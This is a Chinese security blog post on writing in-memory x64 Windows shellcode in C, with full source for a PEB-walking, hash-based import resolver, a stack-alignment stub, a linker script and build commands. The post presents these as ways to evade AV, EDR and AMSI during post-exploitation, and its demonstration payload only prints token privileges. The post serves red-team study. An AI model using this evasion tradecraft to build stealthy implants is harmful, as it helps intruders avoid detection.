在内存的目标文件上执行shellcode

admin 2021年2月6日02:17:17评论194 views字数 16236阅读54分7秒阅读模式


在后渗透利用开发中,反射型DLL和shellcode注入仍然是最大的威胁,因为其执行仅在内存中进行,且不会把任何内容拖放到磁盘上。但是,大多数offsec工具只有在初始访问或利用易受攻击的服务和进程时,才会注入shellcode。后渗透利用的攻击者通常会选择可以直接加载到内存的反射性DLL和C#可执行文件。但如果我们可以用更高级的语言(例如C语言)编写shellcode呢?本文将深入探讨链接器和编译器的滥用,用C语言编写shellcode,然后进行提取。


本文提到的所有代码都已上传到我的github(https://github.com/paranoidninja/PIC-Get-Privileges)上。


Windows编译的可执行文件有不同的头文件和段。它们通常以DOS标头、PE标头、可选标头开头,然后段主要时.text,.bss,.idata,.edata,.rdata等。用C语言编写shellcode,覆盖反射型DLL或C#可执行文件,向远程进程注入shellcode时,就算内存里有PE标头、DOS标头或其他明显的字符串,PE也不会被检测到。AMSI也不会检测shellcode,且shellcode的大小比DLL或C#可执行文件小得多。


用C语言编写shellcode时,我们必须注意编译后的可执行文件只有一个可执行文件段(.text段)。PE的全局变量储存在.bss段,.把DLL导入到.idata,导出到.edata。由于我们只要.text段,所以我们的代码中不能包含全局变量,导入的符号或静态字符串。我们的函数中不能包含基于函数字符串的char或wchar数组,因为char数组储存在.rdata段。而我们的目的是把所有内容都写入.text段,从.text段提取操作码,然后在内存中执行它们。也就是说,我们必须在运行时解决导入问题,且不能用静态库,把字节数组转换成字符串。默认情况下,链接器把PE的入口点链到mainCRTStartup,加载dll,解析命令行参数等。如果不想把msvcrt.dll链到可执行文件,那就要把这个入口点更改为其中一个函数。如果只编写x64 shellcode,那就必须确保shellcode以16字节的堆栈对齐方式对齐,。我们要编写独立于Microsoft的cl.exe编译器,且可以用MingW GCC交叉编译器进行编译的代码。


因此,要实现以上所有内容,必须满足以下条件:


  • 16字节堆栈对齐

  • 编译的可执行文件只有.text段

  • 没有独立的char 数组或wchar数组字符串

  • 在运行时解决所有导入

  • 用自定义入口点替换mainCRTStartup函数的链接器脚本


为了确保shellcode始终对齐堆栈,需要编写一个小的程序集存根,它会让堆栈对齐,调用C语言函数作为入口点。把这个汇编代码转换为目标文件,然后将它链到C语言源代码。接着,编写一个函数,获取当前用户的特权信息,并把它输出到屏幕上,给这个C语言函数命名为getprivs。在汇编代码中,把这个函数添加为外部函数,因为我们不会把getprivs函数写入程序集。然后,把程序集文件转换为目标文件,并用C语言编写所有代码来完成所要执行的操作。


extern getprivs    global alignstack        segment .text        alignstack:        push rdi                    ; backup rdi since we will be using this as our main register        mov rdi, rsp                ; save stack pointer to rdi        and rsp, byte -0x10         ; align stack with 16 bytes        sub rsp, byte +0x20         ; allocate some space for our C function        call getprivs               ; call the C function        mov rsp, rdi                ; restore stack pointer        pop rdi                     ; restore rdi        ret                         ; return where we left


把上面的asm文件命名为Adjuststack.asm,用mingw对其进行编译:


nasm -f win64 adjuststack.asm -o objects/adjuststack.o


既然要获取当前用户的特权信息,那么我们需要导出符号或WinAPI,即LoadLibraryA,CloseHandle,kernel32.dll的GetCurrentProcess,OpenProcessToken,GetTokenInformation,advapi32.dll的LookupPrivilegeNameW以及msvcrt.dll的calloc和wprintf。同时还要更改入口点,为了在创建目标文件时不让其被静态链到。在运行时,计算kernel32.dll的ror13哈希,找到LoadLibraryA的地址,然后用LoadLibraryA加载所需要的库,获取上述每个Windows导出符号的函数指针来解决这些导出问题。GetProcAddress是Windows API中最容易被AV和EDR钩住的函数,所以我们不用它。我们用C语言编写自己的GetProcAddress函数,该函数能解析在LoadLibraryA之后加载的DLL,提取符号的指针。把这些64位指针地址中的每个地址类型转换为我们的typedef。以下是所需符号的类型转换。


#include "addresshunter.h"    #include <stdio.h>    #include <inttypes.h>        // kernel32.dll exports    typedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR);    typedef BOOL(WINAPI* CLOSEHANDLE)(HANDLE);    typedef HANDLE(WINAPI* GETCURRENTPROCESS)();        // advapi32.dll exports    typedef BOOL(WINAPI* OPENPROCESSTOKEN)(HANDLE, DWORD, PHANDLE);    typedef BOOL(WINAPI* GETTOKENINFORMATION)(HANDLE, TOKEN_INFORMATION_CLASS, LPVOID, DWORD, PDWORD);    typedef BOOL(WINAPI* LOOKUPPRIVILEGENAMEW)(LPCWSTR,  PLUID, LPWSTR, LPDWORD);        // msvcrt.dll exports    typedef int(WINAPI* WPRINTF)(const wchar_t* format, ...);typedef void*(WINAPI* CALLOC)(size_t num, size_t size);


为了获取DLL的符号地址,需要用到下面的C语言函数,把该函数添加到addresshunter.h中:


#include <windows.h>    #include <inttypes.h>        #define DEREF( name )*(UINT_PTR *)(name)    #define DEREF_64( name )*(DWORD64 *)(name)    #define DEREF_32( name )*(DWORD *)(name)    #define DEREF_16( name )*(WORD *)(name)    #define DEREF_8( name )*(BYTE *)(name)        #define KERNEL32DLL_HASH 0x6A4ABC5B        //redefine UNICODE_STR struct    typedef struct _UNICODE_STR    {      USHORT Length;      USHORT MaximumLength;      PWSTR pBuffer;    } UNICODE_STR, *PUNICODE_STR;        //redefine PEB_LDR_DATA struct    typedef struct _PEB_LDR_DATA    {       DWORD dwLength;       DWORD dwInitialized;       LPVOID lpSsHandle;       LIST_ENTRY InLoadOrderModuleList;       LIST_ENTRY InMemoryOrderModuleList;       LIST_ENTRY InInitializationOrderModuleList;       LPVOID lpEntryInProgress;    } PEB_LDR_DATA, * PPEB_LDR_DATA;        //redefine LDR_DATA_TABLE_ENTRY struct    typedef struct _LDR_DATA_TABLE_ENTRY    {        LIST_ENTRY InMemoryOrderModuleList;        LIST_ENTRY InInitializationOrderModuleList;        PVOID DllBase;        PVOID EntryPoint;        ULONG SizeOfImage;        UNICODE_STR FullDllName;        UNICODE_STR BaseDllName;        ULONG Flags;        SHORT LoadCount;        SHORT TlsIndex;        LIST_ENTRY HashTableEntry;        ULONG TimeDateStamp;    } LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;        //redefine PEB_FREE_BLOCK struct    typedef struct _PEB_FREE_BLOCK    {       struct _PEB_FREE_BLOCK * pNext;       DWORD dwSize;    } PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;        //redefine PEB struct    typedef struct __PEB    {       BYTE bInheritedAddressSpace;       BYTE bReadImageFileExecOptions;       BYTE bBeingDebugged;       BYTE bSpareBool;       LPVOID lpMutant;       LPVOID lpImageBaseAddress;       PPEB_LDR_DATA pLdr;       LPVOID lpProcessParameters;       LPVOID lpSubSystemData;       LPVOID lpProcessHeap;       PRTL_CRITICAL_SECTION pFastPebLock;       LPVOID lpFastPebLockRoutine;       LPVOID lpFastPebUnlockRoutine;       DWORD dwEnvironmentUpdateCount;       LPVOID lpKernelCallbackTable;       DWORD dwSystemReserved;       DWORD dwAtlThunkSListPtr32;       PPEB_FREE_BLOCK pFreeList;       DWORD dwTlsExpansionCounter;       LPVOID lpTlsBitmap;       DWORD dwTlsBitmapBits[2];       LPVOID lpReadOnlySharedMemoryBase;       LPVOID lpReadOnlySharedMemoryHeap;       LPVOID lpReadOnlyStaticServerData;       LPVOID lpAnsiCodePageData;       LPVOID lpOemCodePageData;       LPVOID lpUnicodeCaseTableData;       DWORD dwNumberOfProcessors;       DWORD dwNtGlobalFlag;       LARGE_INTEGER liCriticalSectionTimeout;       DWORD dwHeapSegmentReserve;       DWORD dwHeapSegmentCommit;       DWORD dwHeapDeCommitTotalFreeThreshold;       DWORD dwHeapDeCommitFreeBlockThreshold;       DWORD dwNumberOfHeaps;       DWORD dwMaximumNumberOfHeaps;       LPVOID lpProcessHeaps;       LPVOID lpGdiSharedHandleTable;       LPVOID lpProcessStarterHelper;       DWORD dwGdiDCAttributeList;       LPVOID lpLoaderLock;       DWORD dwOSMajorVersion;       DWORD dwOSMinorVersion;       WORD wOSBuildNumber;       WORD wOSCSDVersion;       DWORD dwOSPlatformId;       DWORD dwImageSubsystem;       DWORD dwImageSubsystemMajorVersion;       DWORD dwImageSubsystemMinorVersion;       DWORD dwImageProcessAffinityMask;       DWORD dwGdiHandleBuffer[34];       LPVOID lpPostProcessInitRoutine;       LPVOID lpTlsExpansionBitmap;       DWORD dwTlsExpansionBitmapBits[32];       DWORD dwSessionId;       ULARGE_INTEGER liAppCompatFlags;       ULARGE_INTEGER liAppCompatFlagsUser;       LPVOID lppShimData;       LPVOID lpAppCompatInfo;       UNICODE_STR usCSDVersion;       LPVOID lpActivationContextData;       LPVOID lpProcessAssemblyStorageMap;       LPVOID lpSystemDefaultActivationContextData;       LPVOID lpSystemAssemblyStorageMap;       DWORD dwMinimumStackCommit;    } _PEB, * _PPEB;        // main hashing function for ror13    __forceinline DWORD ror13( DWORD d ){        return _rotr( d, 13 );    }        __forceinline DWORD hash( char * c ){        register DWORD h = 0;        do        {            h = ror13( h );            h += *c;        } while( *++c );            return h;    }        // function to fetch the base address of kernel32.dll from the Process Environment Block    UINT64 GetKernel32() {        ULONG_PTR kernel32dll, val1, val2, val3;        USHORT usCounter;            // kernel32.dll is at 0x60 offset and __readgsqword is compiler intrinsic,        // so we don't need to extract it's symbol        kernel32dll = __readgsqword( 0x60 );            kernel32dll = (ULONG_PTR)((_PPEB)kernel32dll)->pLdr;        val1 = (ULONG_PTR)((PPEB_LDR_DATA)kernel32dll)->InMemoryOrderModuleList.Flink;        while( val1 ) {            val2 = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)val1)->BaseDllName.pBuffer;            usCounter = ((PLDR_DATA_TABLE_ENTRY)val1)->BaseDllName.Length;            val3 = 0;                //calculate the hash of kernel32.dll            do {                val3 = ror13( (DWORD)val3 );                if( *((BYTE *)val2) >= 'a' )                    val3 += *((BYTE *)val2) - 0x20;                else                    val3 += *((BYTE *)val2);                val2++;            } while( --usCounter );                // compare the hash kernel32.dll            if( (DWORD)val3 == KERNEL32DLL_HASH ) {                //return kernel32.dll if found                kernel32dll = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)val1)->DllBase;                return kernel32dll;            }            val1 = DEREF( val1 );        }        return 0;    }        // custom strcmp function since this function will be called by GetSymbolAddress    // which means we have to call strcmp before loading msvcrt.dll    // so we are writing our own my_strcmp so that we don't have to play with egg or chicken dilemma    int my_strcmp (const char *p1, const char *p2) {        const unsigned char *s1 = (const unsigned char *) p1;        const unsigned char *s2 = (const unsigned char *) p2;        unsigned char c1, c2;        do {            c1 = (unsigned char) *s1++;            c2 = (unsigned char) *s2++;            if (c1 == '') {                return c1 - c2;            }        }        while (c1 == c2);        return c1 - c2;    }        UINT64 GetSymbolAddress( HANDLE hModule, LPCSTR lpProcName ) {        UINT64 dllAddress = (UINT64)hModule,            symbolAddress = 0,            exportedAddressTable = 0,            namePointerTable = 0,            ordinalTable = 0;            if( hModule == NULL ) {            return 0;        }            PIMAGE_NT_HEADERS ntHeaders = NULL;        PIMAGE_DATA_DIRECTORY dataDirectory = NULL;        PIMAGE_EXPORT_DIRECTORY exportDirectory = NULL;            ntHeaders = (PIMAGE_NT_HEADERS)(dllAddress + ((PIMAGE_DOS_HEADER)dllAddress)->e_lfanew);        dataDirectory = (PIMAGE_DATA_DIRECTORY)&ntHeaders->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];        exportDirectory = (PIMAGE_EXPORT_DIRECTORY)( dllAddress + dataDirectory->VirtualAddress );                    exportedAddressTable = ( dllAddress + exportDirectory->AddressOfFunctions );        namePointerTable = ( dllAddress + exportDirectory->AddressOfNames );        ordinalTable = ( dllAddress + exportDirectory->AddressOfNameOrdinals );            if (((UINT64)lpProcName & 0xFFFF0000 ) == 0x00000000) {            exportedAddressTable += ( ( IMAGE_ORDINAL( (UINT64)lpProcName ) - exportDirectory->Base ) * sizeof(DWORD) );            symbolAddress = (UINT64)( dllAddress + DEREF_32(exportedAddressTable) );        }        else {            DWORD dwCounter = exportDirectory->NumberOfNames;            while( dwCounter-- ) {                char * cpExportedFunctionName = (char *)(dllAddress + DEREF_32( namePointerTable ));                if( my_strcmp( cpExportedFunctionName, lpProcName ) == 0 ) {                    exportedAddressTable += ( DEREF_16( ordinalTable ) * sizeof(DWORD) );                    symbolAddress = (UINT64)(dllAddress + DEREF_32( exportedAddressTable ));                    break;                }                namePointerTable += sizeof(DWORD);                ordinalTable += sizeof(WORD);            }        }            return symbolAddress;}


既然要更改入口点,那么链接器也要知道这一点。把入口点重定向到程序集标签alignstack,对齐16字节的堆栈,然后调用getprivs()函数。我们不会编写任何int main()或void main(),所以要确保链接器对齐函数执行的顺序。下面是将执行该操作的链接器脚本。


ENTRY(alignstack)    SECTIONS    {        .text :        {            *(.text.alignstack)            *(.text.getprivs)        }}


一切都设置好后,就可以编写入口点函数了。如果检查以上所有C语言代码,你会发现我们没有用任何全局变量或静态char数组字符串。但是大多数时候,我们必须用char数组字符串来格式化或打印shellcode的输出。在这种情况下,我们可以用char或wchar字节数组执行此操作,如下所示。在字节数组中编写char字符串,确保我们的字符串不在.bss段,编译器会强制把它包括在PE的.text段里:


CHAR *loadlibrarya_c = "LoadLibraryA"; // will become ->CHAR loadlibrarya_c[] = {'L', 'o', 'a', 'd', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 'A', 0};


获取当前用户特权的最终代码如下所示:


#include "addresshunter.h"    #include <stdio.h>    #include <inttypes.h>        // kernel32.dll exports    typedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR);    typedef BOOL(WINAPI* CLOSEHANDLE)(HANDLE);    typedef HANDLE(WINAPI* GETCURRENTPROCESS)();        // advapi32.dll exports    typedef BOOL(WINAPI* OPENPROCESSTOKEN)(HANDLE, DWORD, PHANDLE);    typedef BOOL(WINAPI* GETTOKENINFORMATION)(HANDLE, TOKEN_INFORMATION_CLASS, LPVOID, DWORD, PDWORD);    typedef BOOL(WINAPI* LOOKUPPRIVILEGENAMEW)(LPCWSTR,  PLUID, LPWSTR, LPDWORD);        // msvcrt.dll exports    typedef int(WINAPI* WPRINTF)(const wchar_t* format, ...);    typedef void*(WINAPI* CALLOC)(size_t num, size_t size);        void getprivs() {        //dlls to dynamically load during runtime        UINT64 kernel32dll, msvcrtdll, advapi32dll;        //symbols to dynamically resolve from dll during runtime        UINT64 LoadLibraryAFunc, CloseHandleFunc,            OpenProcessTokenFunc, GetCurrentProcessFunc, GetTokenInformationFunc, LookupPrivilegeNameWFunc,            callocFunc, wprintfFunc;            // kernel32.dll exports        kernel32dll = GetKernel32();            CHAR loadlibrarya_c[] = {'L', 'o', 'a', 'd', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 'A', 0};        LoadLibraryAFunc = GetSymbolAddress((HANDLE)kernel32dll, loadlibrarya_c);            CHAR getcurrentprocess_c[] = {'G', 'e', 't', 'C', 'u', 'r', 'r', 'e', 'n', 't', 'P', 'r', 'o', 'c', 'e', 's', 's', 0};        GetCurrentProcessFunc = GetSymbolAddress((HANDLE)kernel32dll, getcurrentprocess_c);            CHAR closehandle_c[] = {'C', 'l', 'o', 's', 'e', 'H', 'a', 'n', 'd', 'l', 'e', 0};        CloseHandleFunc = GetSymbolAddress((HANDLE)kernel32dll, closehandle_c);            // advapi32.dll exports        CHAR advapi32_c[] = {'a', 'd', 'v', 'a', 'p', 'i', '3', '2', '.', 'd', 'l', 'l', 0};        advapi32dll = (UINT64) ((LOADLIBRARYA)LoadLibraryAFunc)(advapi32_c);        CHAR openprocesstoken_c[] = {'O', 'p', 'e', 'n', 'P', 'r', 'o', 'c', 'e', 's', 's', 'T', 'o', 'k', 'e', 'n', 0};        OpenProcessTokenFunc = GetSymbolAddress((HANDLE)advapi32dll, openprocesstoken_c);        CHAR gettokeninformation_c[] = { 'G', 'e', 't', 'T', 'o', 'k', 'e', 'n', 'I', 'n', 'f', 'o', 'r', 'm', 'a', 't', 'i', 'o', 'n', 0 };        GetTokenInformationFunc = GetSymbolAddress((HANDLE)advapi32dll, gettokeninformation_c);        CHAR lookupprivilegenamew_c[] = {'L', 'o', 'o', 'k', 'u', 'p', 'P', 'r', 'i', 'v', 'i', 'l', 'e', 'g', 'e', 'N', 'a', 'm', 'e', 'W', 0};        LookupPrivilegeNameWFunc = GetSymbolAddress((HANDLE)advapi32dll, lookupprivilegenamew_c);            // msvcrt.dll exports        CHAR msvcrt_c[] = {'m', 's', 'v', 'c', 'r', 't', '.', 'd', 'l', 'l', 0};        msvcrtdll = (UINT64) ((LOADLIBRARYA)LoadLibraryAFunc)(msvcrt_c);        CHAR calloc_c[] = {'c', 'a', 'l', 'l', 'o', 'c', 0};        callocFunc = GetSymbolAddress((HANDLE)msvcrtdll, calloc_c);        CHAR wprintf_c[] = {'w', 'p', 'r', 'i', 'n', 't', 'f', 0};        wprintfFunc = GetSymbolAddress((HANDLE)msvcrtdll, wprintf_c);            DWORD cbSize = sizeof(TOKEN_ELEVATION), tpSize, length;        HANDLE hToken = NULL;        TOKEN_ELEVATION Elevation;        PTOKEN_PRIVILEGES tPrivs = NULL;        WCHAR name[256];        WCHAR priv_enabled[] =  { L'[', L'+', L']', L' ', L'%', L'-', L'5', L'0', L'l', L's', L' ', L'E', L'n', L'a', L'b', L'l', L'e', L'd', L' ', L'(', L'D', L'e', L'f', L'a', L'u', L'l', L't', L')', L'n', 0 };        WCHAR priv_adjusted[] = { L'[', L'+', L']', L' ', L'%', L'-', L'5', L'0', L'l', L's', L' ', L'E', L'n', L'a', L'b', L'l', L'e', L'd', L' ', L'(', L'D', L'e', L'f', L'a', L'u', L'l', L't', L')', L'n', 0 };        WCHAR priv_disabled[] = { L'[', L'+', L']', L' ', L'%', L'-', L'5', L'0', L'l', L's', L' ', L'E', L'n', L'a', L'b', L'l', L'e', L'd', L' ', L'(', L'D', L'e', L'f', L'a', L'u', L'l', L't', L')', L'n', 0 };        WCHAR priv_elevated[] =   {L'[', L'+', L']', L' ', L'E', L'l', L'e', L'v', L'a', L't', L'e', L'd', 0};        WCHAR priv_restricted[] = {L'[', L'+', L']', L' ', L'R', L'e', L's', L't', L'r', L'i', L'c', L't', L'e', L'd', 0};            if (((OPENPROCESSTOKEN)OpenProcessTokenFunc)(((GETCURRENTPROCESS)GetCurrentProcessFunc)(), TOKEN_QUERY, &hToken)) {            ((GETTOKENINFORMATION)GetTokenInformationFunc)(hToken, TokenPrivileges, tPrivs, 0, &tpSize);            tPrivs = (PTOKEN_PRIVILEGES)((CALLOC)callocFunc)(tpSize+1, sizeof(TOKEN_PRIVILEGES));                if (tPrivs) {                if (((GETTOKENINFORMATION)GetTokenInformationFunc)(hToken, TokenPrivileges, tPrivs, tpSize, &tpSize)) {                    for(int i=0; i<tPrivs->PrivilegeCount; i++){                        length=256;                        ((LOOKUPPRIVILEGENAMEW)LookupPrivilegeNameWFunc)(NULL, &tPrivs->Privileges[i].Luid, name, &length);                        if (tPrivs->Privileges[i].Attributes == 3) {                            ((WPRINTF)wprintfFunc)(priv_enabled, name);                        } else if (tPrivs->Privileges[i].Attributes == 2) {                            ((WPRINTF)wprintfFunc)(priv_adjusted, name);                        } else if (tPrivs->Privileges[i].Attributes == 0) {                            ((WPRINTF)wprintfFunc)(priv_disabled, name);                        }                    }                }            }                if (((GETTOKENINFORMATION)GetTokenInformationFunc)(hToken, TokenElevation, &Elevation, sizeof(Elevation), &cbSize)) {                if (Elevation.TokenIsElevated) {                    ((WPRINTF)wprintfFunc)(priv_elevated);                } else {                    ((WPRINTF)wprintfFunc)(priv_restricted);                }            }            ((CLOSEHANDLE)CloseHandleFunc)(hToken);        }}


为了编译以上所有内容,我们可以用makefile,如下所示:


make:  nasm -f win64 adjuststack.asm -o adjuststack.o  x86_64-w64-mingw32-gcc getprivs.c -Wall -m64 -ffunction-sections -fno-asynchronous-unwind-tables -nostdlib -fno-ident -O2 -c -o getprivs.o -Wl,-Tlinker.ld,--no-seh  x86_64-w64-mingw32-ld -s adjuststack.o getprivs.o -o getprivs.exe


上面的makefile执行以下操作:


* 为adjuststack创建一个目标文件

* 为getprivs创建一个64位目标文件。

  • 为源文件中的每个函数生成单独段,并在链接期间删除未使用的函数。

  • 禁用可执行文件的静态链接

  • 优化PE的大小

  • 禁用SEH

  • 用链接器脚本提供的参数对齐函数可执行文件顺序

* 编译上面的目标文件,剥离所有调试符号和注释


运行脚本并使用objdump,可以从PE获得实际的shellcode。


在内存的目标文件上执行shellcode

(用objdump从可执行文件中获取shellcode。)


可以用objdump来检查文件是否有.text以外的任何标头。


在内存的目标文件上执行shellcode


最后,可以把shellcode复制到bin文件中,然后根据需要执行bin文件。


在内存的目标文件上执行shellcode

(用objdump查看从二进制文件获取的shellcode。)


在本文中,我会用ASM的inc-bin技术执行shellcode。

; compile with    ; nasm -f win64 runshellcode.asm -o runshellcode.o    ; x86_64-w64-mingw32-ld runshellcode.o -o runshellcode.exe        Global Start        Start:        incbin "getprivs.bin"


最终的可执行文件大小不可以超过5 KB,在我们的示例中,该文件的大小为4.9kb。


在内存的目标文件上执行shellcode

用objdump查看从二进制文件获取的shellcode。)


最后,在Windows上执行此操作:


在内存的目标文件上执行shellcode

(用objdump查看从二进制文件获取的shellcode。)


用有特权的cmd提示符和无特权的cmd提示符,输出结果会有所不同。本文已经进入尾声了。我们将在Brute Ratel的下一个版本中添加功能更新,其中将包括在自身进程和远程进程的目标文件中执行Shellcode。






在内存的目标文件上执行shellcode

在内存的目标文件上执行shellcode

木星安全实验室(MxLab),由中国网安·广州三零卫士成立,汇聚国内多名安全专家和反间谍专家组建而成,深耕工控安全、IoT安全、红队评估、反间谍、数据保护、APT分析等高级安全领域,木星安全实验室坚持在反间谍和业务安全的领域进行探索和研究。



本文始发于微信公众号(木星安全实验室):在内存的目标文件上执行shellcode

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年2月6日02:17:17
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   在内存的目标文件上执行shellcodehttps://cn-sec.com/archives/261967.html

发表评论

匿名网友 填写信息